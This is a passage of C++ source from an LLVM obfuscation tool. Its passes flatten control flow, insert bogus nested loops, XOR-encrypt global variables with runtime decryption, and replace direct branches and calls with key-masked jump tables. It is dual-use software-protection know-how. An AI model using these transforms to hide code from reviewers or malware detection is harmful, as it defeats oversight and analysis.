152 | } else if (BB->getTerminator()->getNumSuccessors() == 2) { 153 | BranchInst* br = dyn_cast(BB->getTerminator()); 154 | if (!br) { 155 | continue; 156 | } 157 | if (!br->isConditional()) { 158 | continue; 159 | } 160 | Value* cond = br->getCondition(); 161 | BasicBlock* trueBB = br->getSuccessor(0); 162 | BasicBlock* falseBB = br->getSuccessor(1); 163 | builder.SetInsertPoint(&*BB->getTerminator()); 164 | Value* selValue = builder.CreateSelect(cond, ConstantInt::get(Type::getInt32Ty(F.getContext()), bb2Randnum[trueBB]), ConstantInt::get(Type::getInt32Ty(F.getContext()), bb2Randnum[falseBB]), "select"); 165 | builder.CreateStore(selValue, swVarPtr); 166 | BB->getTerminator()->eraseFromParent(); 167 | builder.SetInsertPoint(BB); 168 | builder.CreateBr(returnBB); 169 | } 170 | } 171 | 172 | // process linear paths 173 | for (auto it = origBB.begin(); it != origBB.end();) { 174 | BasicBlock* BB = *it; 175 | if (BB->size() > 4) { 176 | if (rand() % 100 < 100) { 177 | if (containsPHI(BB)) { 178 | ++it; 179 | continue; 180 | 181 | } 182 | std::vector splitBBs = splitBasicBlockRandomly(BB, 4); 183 | flatteningLinearBlocks(F, splitBBs); 184 | } else { 185 | ++it; 186 | } 187 | } else { 188 | ++it; 189 | } 190 | } 191 | demoteRegisters(&F); 192 | return true; 193 | } 194 | } 195 | } 196 | 197 | PreservedAnalyses Flatten::run(Module& M, ModuleAnalysisManager& AM) 198 | { 199 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 200 | bool is_processed = false; 201 | if (flatten.model) { 202 | for (llvm::Function& F : M) { 203 | if (shouldSkip(F, flatten)) { 204 | continue; 205 | } 206 | Generic_obfuscator::Flatten::flattening(F); 207 | is_processed = true; 208 | PrintSuccess("Flattening successfully ", F.getName().str()); 209 | } 210 | } 211 | if (is_processed) { 212 | return PreservedAnalyses::none(); 213 | } else { 214 | return PreservedAnalyses::all(); 215 | } 216 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/ForObsPass.cpp: -------------------------------------------------------------------------------- 1 | // 改进 将驶出条件改为 二元一次方程或其他较复杂的 2 | #include "llvm/IR/BasicBlock.h" 3 | #include "llvm/IR/IRBuilder.h" 4 | #include "llvm/IR/Instructions.h" 5 | #include "llvm/IR/LLVMContext.h" 6 | #include "llvm/IR/Module.h" 7 | #include "llvm/IR/Function.h" 8 | #include "llvm/Transforms/Utils/BasicBlockUtils.h" 9 | #include "../include/ForObsPass.h" 10 | #include "Log.hpp" 11 | #include "config.h" 12 | #include // 用于随机数生成 13 | #include // 用于跟踪已处理的基本块 14 | #include 15 | 16 | using namespace llvm; 17 | std::set forobsProcessedBlocks; // 用于跟踪已处理的基本块 18 | std::set generatedBlocks; // 用于跟踪已生成循环的基本块 19 | 20 | // Insert a multiple loop between 2 basic block 21 | void insertMultipleLoop(IRBuilder<> &builder, LLVMContext &context, Function &F, 22 | Value *N, Value *M, BasicBlock *OldBB, BasicBlock *NewBB, int k) 23 | { 24 | // 生成一个随机后缀,避免名称冲突 25 | static std::random_device rd; 26 | static std::mt19937 gen(rd()); 27 | static std::uniform_int_distribution<> dis(0, 99999999); 28 | int randomSuffix = dis(gen); // 生成一个 1000-9999 的随机数 29 | 30 | BasicBlock *tmpLoopCond = nullptr; 31 | BasicBlock *tmpLoopBody = nullptr; 32 | BasicBlock *tmpLoopEnd = nullptr; 33 | IntegerType *intType = Type::getInt32Ty(context); 34 | 35 | // 添加随机后缀到变量名 36 | std::string outerLoopVarName = "i_" + std::to_string(randomSuffix); 37 | Value *outerLoopVar = builder.CreateAlloca(intType, nullptr, outerLoopVarName); 38 | builder.CreateStore(ConstantInt::get(intType, 0), outerLoopVar); 39 | 40 | std::vector innerLoopVarVec; 41 | for (int i = 0; i < k; i++) 42 | { 43 | std::string tmpName = "innerLoopVar_" + std::to_string(i) + "_" + std::to_string(randomSuffix); 44 | Value *tmpVar = builder.CreateAlloca(intType, nullptr, tmpName); 45 | builder.CreateStore(ConstantInt::get(intType, 0), tmpVar); 46 | innerLoopVarVec.push_back(tmpVar); 47 | } 48 | 49 | std::string loopExitCondValName = "loopExitCondVal_" + std::to_string(randomSuffix); 50 | Value *loopExitCondVal = builder.CreateAlloca(intType, nullptr, loopExitCondValName); 51 | builder.CreateStore(ConstantInt::get(intType, 0), loopExitCondVal); // 修复:初始化 loopExitCondVal 而非未定义的 isExcutedVal 52 | builder.CreateStore(ConstantInt::get(intType, 0), outerLoopVar); 53 | 54 | // 创建中介基本块,添加随机后缀 55 | std::string loopExitCondName = "executeCond_" + std::to_string(randomSuffix); 56 | BasicBlock *loopExitCond = BasicBlock::Create(context, loopExitCondName, &F); 57 | builder.SetInsertPoint(loopExitCond); 58 | generatedBlocks.insert(loopExitCond); 59 | Value *loopExitCondValLoad = builder.CreateLoad(intType, loopExitCondVal); 60 | Value *loopExitCondValNext = builder.CreateAdd(loopExitCondValLoad, ConstantInt::get(intType, 1)); 61 | builder.CreateStore(loopExitCondValNext, loopExitCondVal); 62 | 63 | // 创建外循环基本块,添加随机后缀 64 | std::string outerLoopCondName = "outerLoopCond_" + std::to_string(randomSuffix); 65 | BasicBlock *outerLoopCond = BasicBlock::Create(context, outerLoopCondName, &F); 66 | generatedBlocks.insert(outerLoopCond); 67 | std::string outerLoopBodyName = "outerLoopBody_" + std::to_string(randomSuffix); 68 | BasicBlock *outerLoopBody = BasicBlock::Create(context, outerLoopBodyName, &F); 69 | generatedBlocks.insert(outerLoopBody); 70 | std::string outerLoopEndName = "outerLoopEnd_" + std::to_string(randomSuffix); 71 | BasicBlock *outerLoopEnd = BasicBlock::Create(context, outerLoopEndName, &F); 72 | generatedBlocks.insert(outerLoopEnd); 73 | Instruction *newBr = BranchInst::Create(outerLoopCond); 74 | ReplaceInstWithInst(OldBB->getTerminator(), newBr); 75 | builder.SetInsertPoint(outerLoopCond); 76 | 77 | // 外循环条件判断 78 | Value *outerLoad = builder.CreateLoad(intType, outerLoopVar); 79 | Value *outerCond = builder.CreateICmpSLT(outerLoad, N); 80 | builder.CreateCondBr(outerCond, outerLoopBody, outerLoopEnd); 81 | 82 | builder.SetInsertPoint(outerLoopBody); 83 | Value *outerNext = builder.CreateAdd(outerLoad, ConstantInt::get(intType, 1)); 84 | builder.CreateStore(outerNext, outerLoopVar); 85 | builder.SetInsertPoint(outerLoopEnd); 86 | builder.CreateBr(NewBB); 87 | 88 | tmpLoopCond = outerLoopCond; 89 | tmpLoopBody = outerLoopBody; 90 | tmpLoopEnd = outerLoopEnd; 91 | 92 | for (int i = 0; i < k; i++) 93 | { 94 | builder.SetInsertPoint(tmpLoopBody); 95 | Value *innerLoopVar = innerLoopVarVec[i]; 96 | 97 | // 创建内循环基本块,添加随机后缀 98 | std::string innerLoopCondName = "innerLoopCond_" + std::to_string(i) + "_" + std::to_string(randomSuffix); 99 | BasicBlock *innerLoopCond = BasicBlock::Create(context, innerLoopCondName, &F); 100 | generatedBlocks.insert(innerLoopCond); 101 | std::string innerLoopBodyName = "innerLoopBody_" + std::to_string(i) + "_" + std::to_string(randomSuffix); 102 | BasicBlock *innerLoopBody = BasicBlock::Create(context, innerLoopBodyName, &F); 103 | generatedBlocks.insert(innerLoopBody); 104 | std::string innerLoopEndName = "innerLoopEnd_" + std::to_string(i) + "_" + std::to_string(randomSuffix); 105 | BasicBlock *innerLoopEnd = BasicBlock::Create(context, innerLoopEndName, &F); 106 | generatedBlocks.insert(innerLoopEnd); 107 | 108 | builder.CreateBr(innerLoopCond); 109 | builder.SetInsertPoint(innerLoopCond); 110 | 111 | Value *innerLoad = builder.CreateLoad(intType, innerLoopVar); 112 | Value *innerCond = builder.CreateICmpSLT(innerLoad, M); 113 | builder.CreateCondBr(innerCond, innerLoopBody, innerLoopEnd); 114 | 115 | builder.SetInsertPoint(innerLoopBody); 116 | Value *innerNext = builder.CreateAdd(innerLoad, ConstantInt::get(intType, 1)); 117 | builder.CreateStore(innerNext, innerLoopVar); 118 | 119 | if (i == (k - 1)) 120 | { 121 | Value *tmpLoad = builder.CreateLoad(intType, loopExitCondVal); 122 | Value *tmpCond = builder.CreateICmpSGT(tmpLoad, ConstantInt::get(intType, 0)); 123 | // 修复:调整条件分支参数顺序 124 | builder.CreateCondBr(tmpCond, innerLoopCond, loopExitCond); 125 | builder.SetInsertPoint(loopExitCond); 126 | builder.CreateBr(NewBB); 127 | } 128 | 129 | builder.SetInsertPoint(innerLoopEnd); 130 | builder.CreateBr(tmpLoopCond); 131 | 132 | tmpLoopCond = innerLoopCond; 133 | tmpLoopBody = innerLoopBody; 134 | tmpLoopEnd = innerLoopEnd; 135 | } 136 | } 137 | 138 | PreservedAnalyses ForObsPass::run(Module &M, ModuleAnalysisManager &AM) 139 | { 140 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 141 | bool IsChanged = false; 142 | double Probability = 0.5; 143 | srand(time(nullptr)); 144 | LLVMContext &context = M.getContext(); 145 | IntegerType *intType = Type::getInt32Ty(context); 146 | Value *innerLoopBoundary; // 外循环边界 147 | Value *outerLoopBoundary; // 内循环边界 148 | if (forObs.op1){ 149 | innerLoopBoundary = ConstantInt::get(intType, forObs.op1); 150 | }else { 151 | innerLoopBoundary = ConstantInt::get(intType, 10); 152 | } 153 | if (forObs.op2){ 154 | outerLoopBoundary = ConstantInt::get(intType, forObs.op2); 155 | }else { 156 | outerLoopBoundary = ConstantInt::get(intType, 5); 157 | } 158 | if (forObs.model){ 159 | for (llvm::Function &F : M) { 160 | int addCount = 0; 161 | if (shouldSkip(F, forObs)) { 162 | continue; 163 | } 164 | PrintInfo("Running ForObsPass on function: " , F.getName().str()); 165 | for (BasicBlock &BB : F) 166 | { 167 | IRBuilder<> Builder(context); 168 | if (BB.size() < 2) 169 | { 170 | continue; 171 | } 172 | // Ensure that basic blocks have not been processed or generated loops 173 | if (forobsProcessedBlocks.count(&BB) == 0 && generatedBlocks.count(&BB) == 0) 174 | { 175 | Instruction *firstNonSpecial = BB.getFirstNonPHIOrDbgOrLifetime(); 176 | if (!firstNonSpecial || firstNonSpecial == &BB.back()) { 177 | continue; 178 | } 179 | 180 | auto beginIt = BB.begin(); 181 | auto endIt = BB.end(); 182 | --endIt; 183 | 184 | unsigned validStartIndex = 0; 185 | unsigned validEndIndex = BB.size() - 1; 186 | for (auto it = BB.begin(); it != BB.end(); ++it, ++validStartIndex) { 187 | if (&(*it) == firstNonSpecial) { 188 | break; 189 | } 190 | } 191 | if (validStartIndex >= validEndIndex) { 192 | continue; 193 | } 194 | 195 | // choose the insert pos randomly 196 | unsigned instructionIndex = validStartIndex + (rand() % (validEndIndex - validStartIndex)); 197 | auto it = BB.begin(); 198 | std::advance(it, instructionIndex); 199 | Instruction *splitInst = &(*it); 200 | 201 | BasicBlock *newBB = SplitBlock(&BB, splitInst); 202 | 203 | Builder.SetInsertPoint(&*BB.getFirstInsertionPt()); 204 | if ((rand() / (double)RAND_MAX) < Probability) 205 | { 206 | // Prevent excessive insertion from affecting efficiency 207 | if (addCount >= 3) { 208 | break; 209 | } 210 | insertMultipleLoop(Builder, context, F, innerLoopBoundary, outerLoopBoundary, &BB,newBB, 4); 211 | forobsProcessedBlocks.insert(&BB); 212 | generatedBlocks.insert(newBB); 213 | llvm::outs() << "Inserted nested loop into Func: " << F.getName() << "\n"; 214 | addCount++; 215 | IsChanged = true; 216 | } 217 | } 218 | } 219 | 220 | }} 221 | if (IsChanged) 222 | { 223 | return PreservedAnalyses::none(); 224 | } 225 | else 226 | { 227 | return PreservedAnalyses::all(); 228 | } 229 | } 230 | -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/GVEncrypt.cpp: -------------------------------------------------------------------------------- 1 | // ![Fix Me]: It is possible that multiple decryptions may occur due to concurrency bugs. You need to pay attention when concurrency exists. -- Solved via LLVM native atomic operations 2 | #include "GVEncrypt.h" 3 | #include "config.h" 4 | #include "utils.hpp" 5 | #include "llvm/IR/BasicBlock.h" 6 | #include "llvm/IR/Constant.h" 7 | #include "llvm/IR/Constants.h" 8 | #include "llvm/IR/DerivedTypes.h" 9 | #include "llvm/IR/Function.h" 10 | #include "llvm/IR/GlobalVariable.h" 11 | #include "llvm/IR/IRBuilder.h" 12 | #include "llvm/IR/Instruction.h" 13 | #include "llvm/IR/Instructions.h" 14 | #include "llvm/IR/Module.h" 15 | #include "llvm/IR/Type.h" 16 | #include "llvm/IR/Value.h" 17 | #include "llvm/Support/Alignment.h" 18 | #include "llvm/Support/Casting.h" 19 | #include "llvm/Support/raw_ostream.h" 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include "Log.hpp" 27 | std::set needEncGV; 28 | int needEncGV_count = 0; 29 | std::map needEncGVInfos; 30 | std::set GVUsedByFunc; 31 | bool Generic_obfuscator::GVEncrypt::shouldSkip(GlobalVariable& GV) 32 | { 33 | if (GV.getName().startswith("llvm.")) { 34 | return true; 35 | } 36 | if (!GV.hasInternalLinkage() && !GV.hasPrivateLinkage()) { 37 | return true; 38 | } 39 | if (!GV.getValueType()->isIntegerTy() && (!GV.getValueType()->isArrayTy() || !cast(GV.getValueType())->getElementType()->isIntegerTy())) { 40 | return true; 41 | } 42 | if (!GV.hasInitializer() || !GV.getInitializer()) { 43 | return true; 44 | } 45 | // Make sure the GV doesn't belong to any custom section (which means it belongs .data section by default) 46 | // We conservatively skip data in custom section to avoid unexpected behaviors after obfuscation 47 | if (GV.hasSection()) { 48 | return true; 49 | } 50 | llvm::Constant* initializer = GV.getInitializer(); 51 | if (llvm::isa(initializer)){ 52 | return true; 53 | } 54 | return false; 55 | } 56 | 57 | Function* Generic_obfuscator::GVEncrypt::defineDecryptFunction(Module* M, GlobalVariable* GVIsDecrypted) 58 | { 59 | std::vector Params; 60 | Params.push_back(Type::getInt32Ty(M->getContext())); // index 61 | Params.push_back(Type::getInt8Ty(M->getContext())); // key 62 | Params.push_back(Type::getInt32Ty(M->getContext())); // len 63 | Params.push_back(Type::getInt8Ty(M->getContext())->getPointerTo()); // GV 64 | FunctionType* FT = FunctionType::get(Type::getVoidTy(M->getContext()), Params, false); 65 | Function* F = Function::Create(FT, GlobalValue::PrivateLinkage, "_Generic_obfuscator_decryptGV", M); 66 | BasicBlock* entryBB = BasicBlock::Create(M->getContext(), "entry", F); 67 | BasicBlock* bodyBB = BasicBlock::Create(M->getContext(), "body", F); 68 | BasicBlock* endBB = BasicBlock::Create(M->getContext(), "end", F); 69 | BasicBlock* forCond = BasicBlock::Create(M->getContext(), "for.cond", F); 70 | BasicBlock* forBody = BasicBlock::Create(M->getContext(), "for.body", F); 71 | BasicBlock* forInc = BasicBlock::Create(M->getContext(), "for.inc", F); 72 | Function::arg_iterator iter = F->arg_begin(); 73 | Value* index = iter; 74 | Value* key = ++iter; 75 | Value* len = ++iter; 76 | Value* gvData = ++iter; 77 | 78 | // entryBB 79 | IRBuilder<> builder(entryBB); 80 | AllocaInst* arrayIndexPtr = builder.CreateAlloca(Type::getInt32Ty(M->getContext())); 81 | builder.CreateStore(ConstantInt::get(Type::getInt32Ty(M->getContext()), 0), arrayIndexPtr); 82 | Type* elemType = GVIsDecrypted->getValueType()->getArrayElementType(); 83 | Value* elementPtr = builder.CreateInBoundsGEP(elemType, GVIsDecrypted, index); 84 | 85 | // Atomic option 86 | Type* i8Ty = Type::getInt8Ty(M->getContext()); 87 | Value* expected = ConstantInt::get(i8Ty, 0); 88 | Value* desired = ConstantInt::get(i8Ty, 1); 89 | AtomicCmpXchgInst* cmpxchg = builder.CreateAtomicCmpXchg( 90 | elementPtr, expected, desired, 91 | MaybeAlign(), // 根据实际情况调整对齐 92 | AtomicOrdering::AcquireRelease, 93 | AtomicOrdering::Acquire); 94 | Value* cond = builder.CreateExtractValue(cmpxchg, 1); 95 | builder.CreateCondBr(cond, forCond, endBB); 96 | 97 | // forCond 98 | builder.SetInsertPoint(forCond); 99 | LoadInst* arrayIndex = builder.CreateLoad(Type::getInt32Ty(M->getContext()), arrayIndexPtr); 100 | Value* loopCond = builder.CreateICmpSLT(arrayIndex, len); 101 | builder.CreateCondBr(loopCond, forBody, bodyBB); 102 | 103 | // forBody 104 | builder.SetInsertPoint(forBody); 105 | Value* dataPtr = builder.CreateGEP(builder.getInt8Ty(), gvData, arrayIndex); 106 | Value* dataByte = builder.CreateLoad(builder.getInt8Ty(), dataPtr); 107 | Value* decValue = builder.CreateXor(key, dataByte); 108 | builder.CreateStore(decValue, dataPtr); 109 | builder.CreateBr(forInc); 110 | 111 | // forInc 112 | builder.SetInsertPoint(forInc); 113 | builder.CreateStore(builder.CreateAdd(arrayIndex, ConstantInt::get(Type::getInt32Ty(M->getContext()), 1)), arrayIndexPtr); 114 | builder.CreateBr(forCond); 115 | 116 | // bodyBB 117 | builder.SetInsertPoint(bodyBB); 118 | builder.CreateStore(ConstantInt::get(Type::getInt1Ty(M->getContext()), 1), elementPtr); 119 | builder.CreateBr(endBB); 120 | 121 | // endBB 122 | builder.SetInsertPoint(endBB); 123 | builder.CreateRetVoid(); 124 | return F; 125 | } 126 | 127 | bool Generic_obfuscator::GVEncrypt::encryptGV(llvm::Function* F, Function* decryptFunction) 128 | { 129 | 130 | for (auto& BB : *F) { 131 | for (auto& I : BB) { 132 | std::set opValSet; 133 | if (auto* op = dyn_cast(&I)) { 134 | for (unsigned i = 0; i < op->getNumOperands(); ++i) { 135 | auto* operand = op->getOperand(i); 136 | if (operand) 137 | opValSet.insert(operand); 138 | } 139 | } 140 | for (auto* opVal : opValSet) { 141 | if (isa(opVal)) { 142 | auto* GV = cast(opVal); 143 | if (needEncGV.find(GV) != needEncGV.end()) { 144 | GVUsedByFunc.insert(GV); 145 | } 146 | } 147 | } 148 | } 149 | } 150 | IRBuilder<> builder(&*F->getEntryBlock().getFirstInsertionPt()); 151 | for (GlobalVariable* GV : GVUsedByFunc) { 152 | std::vector params; 153 | params.push_back(ConstantInt::get(Type::getInt32Ty(F->getContext()), needEncGVInfos[GV].index)); 154 | params.push_back(ConstantInt::get(Type::getInt8Ty(F->getContext()), needEncGVInfos[GV].key)); 155 | params.push_back(ConstantInt::get(Type::getInt32Ty(F->getContext()), needEncGVInfos[GV].len)); 156 | Value* gvAsUInt8Ptr = builder.CreateBitCast(GV, PointerType::get(Type::getInt8Ty(F->getContext()), 0)); 157 | params.push_back(gvAsUInt8Ptr); 158 | builder.CreateCall(decryptFunction, params); 159 | } 160 | // F->print(llvm::outs()); 161 | return true; 162 | } 163 | static void encryptGvData(uint8_t* data, uint8_t key, int32_t len) 164 | { 165 | for (int64_t i = 0; i < len; i++) { 166 | data[i] ^= key; 167 | } 168 | } 169 | PreservedAnalyses GVEncrypt::run(Module& M, ModuleAnalysisManager& AM) 170 | { 171 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 172 | bool is_processed = false; 173 | const DataLayout& DL = M.getDataLayout(); 174 | if (gvEncrypt.model) { 175 | for (auto& GV : M.globals()) { 176 | if (!Generic_obfuscator::GVEncrypt::shouldSkip(GV) && needEncGV.find(&GV) == needEncGV.end()) { 177 | needEncGV.insert(&GV); 178 | uint32_t size = DL.getTypeAllocSize(GV.getValueType()); 179 | Generic_obfuscator::GVEncrypt::GVInfo new_gv_info; 180 | new_gv_info.index = needEncGV_count++; 181 | new_gv_info.key = (uint8_t)getRandomNumber(); 182 | new_gv_info.len = size; 183 | needEncGVInfos[&GV] = new_gv_info; 184 | if (GV.getValueType()->isIntegerTy()) { 185 | ConstantInt* CI = (ConstantInt*)GV.getInitializer(); 186 | uint64_t V = CI->getZExtValue(); 187 | encryptGvData((uint8_t*)&V, needEncGVInfos[&GV].key, size); 188 | GV.setInitializer(ConstantInt::get(GV.getValueType(), V)); 189 | } else { 190 | ConstantDataArray* CA = (ConstantDataArray*)GV.getInitializer(); 191 | const char* gvData = (const char*)CA->getRawDataValues().data(); 192 | char* tmp = new char[size]; 193 | memcpy(tmp, gvData, size); 194 | encryptGvData((uint8_t*)tmp, needEncGVInfos[&GV].key, size); 195 | GV.setConstant(false); 196 | GV.setInitializer(ConstantDataArray::getRaw(StringRef((char*)tmp, size), 197 | CA->getNumElements(), 198 | CA->getElementType())); 199 | } 200 | } 201 | } 202 | // Initialize the global array to determine whether it has been decrypted 203 | std::vector Values(needEncGV_count); 204 | std::string globalName = M.getName().str() + "_isDecrypted"; 205 | llvm::Module* module = &M; 206 | ArrayType* AT = ArrayType::get( 207 | Type::getInt8Ty(M.getContext()), needEncGV_count); 208 | GlobalVariable* GVIsDecrypted = (GlobalVariable*)module->getOrInsertGlobal(globalName, AT); 209 | for (int i = 0; i < needEncGV_count; i++) { 210 | Constant* CValue = ConstantInt::get(Type::getInt8Ty(M.getContext()), 0); 211 | Values[i] = CValue; 212 | } 213 | Constant* valueArray = ConstantArray::get(AT, ArrayRef(Values)); 214 | if (!GVIsDecrypted->hasInitializer()) { 215 | GVIsDecrypted->setInitializer(valueArray); 216 | GVIsDecrypted->setLinkage(GlobalValue::PrivateLinkage); 217 | } 218 | 219 | Function* decryptFunction = Generic_obfuscator::GVEncrypt::defineDecryptFunction(&M, GVIsDecrypted); 220 | for (llvm::Function& F : M) { 221 | if (shouldSkip(F, gvEncrypt)) { 222 | continue; 223 | } 224 | Generic_obfuscator::GVEncrypt::encryptGV(&F, decryptFunction); 225 | is_processed = true; 226 | } 227 | PrintSuccess("GVEncrypt successfully process module ", M.getName().str()); 228 | } 229 | 230 | if (is_processed) { 231 | return PreservedAnalyses::none(); 232 | } else { 233 | return PreservedAnalyses::all(); 234 | } 235 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/IndirectBranch.cpp: -------------------------------------------------------------------------------- 1 | #include "IndirectBranch.h" 2 | #include "config.h" 3 | #include "utils.hpp" 4 | #include "llvm/IR/BasicBlock.h" 5 | #include "llvm/IR/GlobalValue.h" 6 | #include "llvm/IR/GlobalVariable.h" 7 | #include "llvm/IR/Instructions.h" 8 | #include "llvm/IR/Module.h" 9 | #include "llvm/Support/Casting.h" 10 | #include 11 | #include 12 | #include 13 | #include "Log.hpp" 14 | using namespace llvm; 15 | namespace Generic_obfuscator { 16 | namespace IndirectBranch { 17 | 18 | void process(Function& F) 19 | { 20 | DataLayout Data = F.getParent()->getDataLayout(); 21 | int PtrSize = Data.getTypeAllocSize(Type::getInt8Ty(F.getContext())->getPointerTo()); 22 | Type* PtrValueType = Type::getIntNTy(F.getContext(), PtrSize * 8); 23 | auto module = F.getParent(); 24 | 25 | std::map indirectBBinfos; 26 | int indirectBBs_count = 0; 27 | std::vector branchInsts; 28 | auto gloablName = F.getName().str() + "_Jmuptable"; 29 | 30 | for (BasicBlock& BB : F) { 31 | for (Instruction& I : BB) { 32 | if (isa(I)) { 33 | BranchInst* Br = (BranchInst*)(&I); 34 | branchInsts.push_back(Br); 35 | if (Br->isConditional()) { 36 | BasicBlock* TrueBB = Br->getSuccessor(0); 37 | BasicBlock* FalseBB = Br->getSuccessor(1); 38 | if (indirectBBinfos.find(TrueBB) == indirectBBinfos.end()) { 39 | IndirectBBinfo newBBinfo; 40 | newBBinfo.index = indirectBBs_count++; 41 | newBBinfo.key = (int)getRandomNumber(); 42 | indirectBBinfos[TrueBB] = newBBinfo; 43 | } 44 | if (indirectBBinfos.find(FalseBB) == indirectBBinfos.end()) { 45 | IndirectBBinfo newBBinfo; 46 | newBBinfo.index = indirectBBs_count++; 47 | newBBinfo.key = (int)getRandomNumber(); 48 | indirectBBinfos[FalseBB] = newBBinfo; 49 | } 50 | } else { 51 | BasicBlock* BB = Br->getSuccessor(0); 52 | if (indirectBBinfos.find(BB) == indirectBBinfos.end()) { 53 | IndirectBBinfo newBBinfo; 54 | newBBinfo.index = indirectBBs_count++; 55 | newBBinfo.key = (int)getRandomNumber(); 56 | indirectBBinfos[BB] = newBBinfo; 57 | } 58 | } 59 | } 60 | } 61 | } 62 | std::vector Values(indirectBBs_count); 63 | for (auto it = indirectBBinfos.begin(); it != indirectBBinfos.end(); it++) { 64 | BlockAddress* BA = BlockAddress::get(it->first); 65 | Constant* CValue = ConstantExpr::getPtrToInt(BA, PtrValueType); 66 | CValue = ConstantExpr::getAdd( 67 | CValue, ConstantInt::get(PtrValueType, it->second.key)); 68 | CValue = ConstantExpr::getIntToPtr( 69 | CValue, Type::getInt8Ty(F.getContext())->getPointerTo()); 70 | Values[it->second.index] = CValue; 71 | } 72 | ArrayType* AT = ArrayType::get( 73 | Type::getInt8Ty(F.getContext())->getPointerTo(), indirectBBs_count); 74 | GlobalVariable* JumpTable = (GlobalVariable*)module->getOrInsertGlobal(gloablName, AT); 75 | Constant* ValueArray = ConstantArray::get(AT, ArrayRef(Values)); 76 | if (!JumpTable->hasInitializer()) { 77 | JumpTable->setInitializer(ValueArray); 78 | JumpTable->setLinkage(GlobalValue::PrivateLinkage); 79 | } 80 | for (BranchInst* Br : branchInsts) { 81 | IRBuilder<> IRB(Br); 82 | if (Br->isConditional()) { 83 | BasicBlock* TrueBB = Br->getSuccessor(0); 84 | BasicBlock* FalseBB = Br->getSuccessor(1); 85 | Value* Cond = Br->getCondition(); 86 | Value* Index = IRB.CreateSelect(Cond, IRB.getInt32(indirectBBinfos[TrueBB].index), 87 | IRB.getInt32(indirectBBinfos[FalseBB].index)); 88 | Value* Item = IRB.CreateLoad( 89 | IRB.getInt8PtrTy(), 90 | IRB.CreateGEP(AT, JumpTable, { IRB.getInt32(0), Index })); 91 | 92 | Value* Key = IRB.CreateSelect(Cond, IRB.getIntN(PtrSize * 8, indirectBBinfos[TrueBB].key), 93 | IRB.getIntN(PtrSize * 8, indirectBBinfos[FalseBB].key)); 94 | Value* Addr = IRB.CreateIntToPtr( 95 | IRB.CreateSub(IRB.CreatePtrToInt(Item, PtrValueType), Key), 96 | IRB.getInt8PtrTy()); 97 | 98 | IndirectBrInst* IBR = IRB.CreateIndirectBr(Addr); 99 | IBR->addDestination(TrueBB); 100 | IBR->addDestination(FalseBB); 101 | Br->eraseFromParent(); 102 | } else { 103 | BasicBlock* BB = Br->getSuccessor(0); 104 | Value* Item = IRB.CreateLoad( 105 | IRB.getInt8PtrTy(), 106 | IRB.CreateGEP(AT, JumpTable, 107 | { IRB.getInt32(0), IRB.getInt32(indirectBBinfos[BB].index) })); 108 | Value* Key = IRB.getIntN(PtrSize * 8, indirectBBinfos[BB].key); 109 | Value* Addr = IRB.CreateIntToPtr( 110 | IRB.CreateSub(IRB.CreatePtrToInt(Item, PtrValueType), Key), 111 | IRB.getInt8PtrTy()); 112 | IndirectBrInst* IBR = IRB.CreateIndirectBr(Addr); 113 | IBR->addDestination(BB); 114 | Br->eraseFromParent(); 115 | } 116 | } 117 | } 118 | } 119 | } // namespace Generic_obfuscator 120 | PreservedAnalyses IndirectBranch::run(Module& M, ModuleAnalysisManager& AM) 121 | { 122 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 123 | bool is_processed = false; 124 | if (indirectBranch.model) { 125 | for (llvm::Function& F : M) { 126 | if (shouldSkip(F, indirectBranch)) { 127 | continue; 128 | } 129 | Generic_obfuscator::IndirectBranch::process(F); 130 | is_processed = true; 131 | PrintSuccess("IndirectBranch successfully process func ", F.getName().str()); 132 | } 133 | } 134 | if (is_processed) { 135 | return PreservedAnalyses::none(); 136 | } else { 137 | return PreservedAnalyses::all(); 138 | } 139 | } -------------------------------------------------------------------------------- /Generic_obfuscator/src/pass/IndirectCall.cpp: -------------------------------------------------------------------------------- 1 | #include "IndirectCall.h" 2 | #include "config.h" 3 | #include "utils.hpp" 4 | #include "llvm/IR/Function.h" 5 | #include "llvm/IR/GlobalVariable.h" 6 | #include "llvm/IR/Value.h" 7 | #include "Log.hpp" 8 | using namespace llvm; 9 | namespace Generic_obfuscator { 10 | namespace IndirectCall { 11 | void process(Function& F, GlobalVariable* JumpTable, std::map& indirectCallinfos, ArrayType* AT) 12 | { 13 | DataLayout Data = F.getParent()->getDataLayout(); 14 | int PtrSize = Data.getTypeAllocSize(Type::getInt8Ty(F.getContext())->getPointerTo()); 15 | Type* PtrValueType = Type::getIntNTy(F.getContext(), PtrSize * 8); 16 | std::vector CIs; 17 | for (BasicBlock& BB : F) { 18 | for (Instruction& I : BB) { 19 | if (isa(I)) { 20 | CallInst* CI = (CallInst*)&I; 21 | Function* Func = CI->getCalledFunction(); 22 | if (Func && Func->hasExactDefinition()) { 23 | CIs.push_back(CI); 24 | } 25 | } 26 | } 27 | } 28 | for (CallInst* CI : CIs) { 29 | Type* Ty = CI->getFunctionType()->getPointerTo(); 30 | IRBuilder<> IRB((Instruction*)CI); 31 | Value* KeyValue = IRB.getInt32(indirectCallinfos[CI->getCalledFunction()].key); 32 | KeyValue = IRB.CreateZExt(KeyValue, PtrValueType); 33 | Value* index = IRB.getInt32(indirectCallinfos[CI->getCalledFunction()].index); 34 | Value* item = IRB.CreateLoad( 35 | IRB.getInt8PtrTy(), 36 | IRB.CreateGEP(AT, JumpTable, { IRB.getInt32(0), index })); 37 | // Value* CallPtr = IRB.CreateIntToPtr(IRB.CreateSub(item, KeyValue), Ty); 38 | Value* ItemInt = IRB.CreatePtrToInt(item, PtrValueType); 39 | Value* SubResult = IRB.CreateSub(ItemInt, KeyValue); 40 | Value* CallPtr = IRB.CreateIntToPtr(SubResult, Ty); 41 | CI->setCalledFunction(CI->getFunctionType(), CallPtr); 42 | } 43 | } 44 | } 45 | } // namespace Generic_obfuscator 46 | 47 | PreservedAnalyses IndirectCall::run(Module& M, ModuleAnalysisManager& AM) 48 | { 49 | readConfig("/home/zzzccc/cxzz/Generic_obfuscator/config/config.json"); 50 | bool is_processed = false; 51 | DataLayout Data = M.getDataLayout(); 52 | int PtrSize = 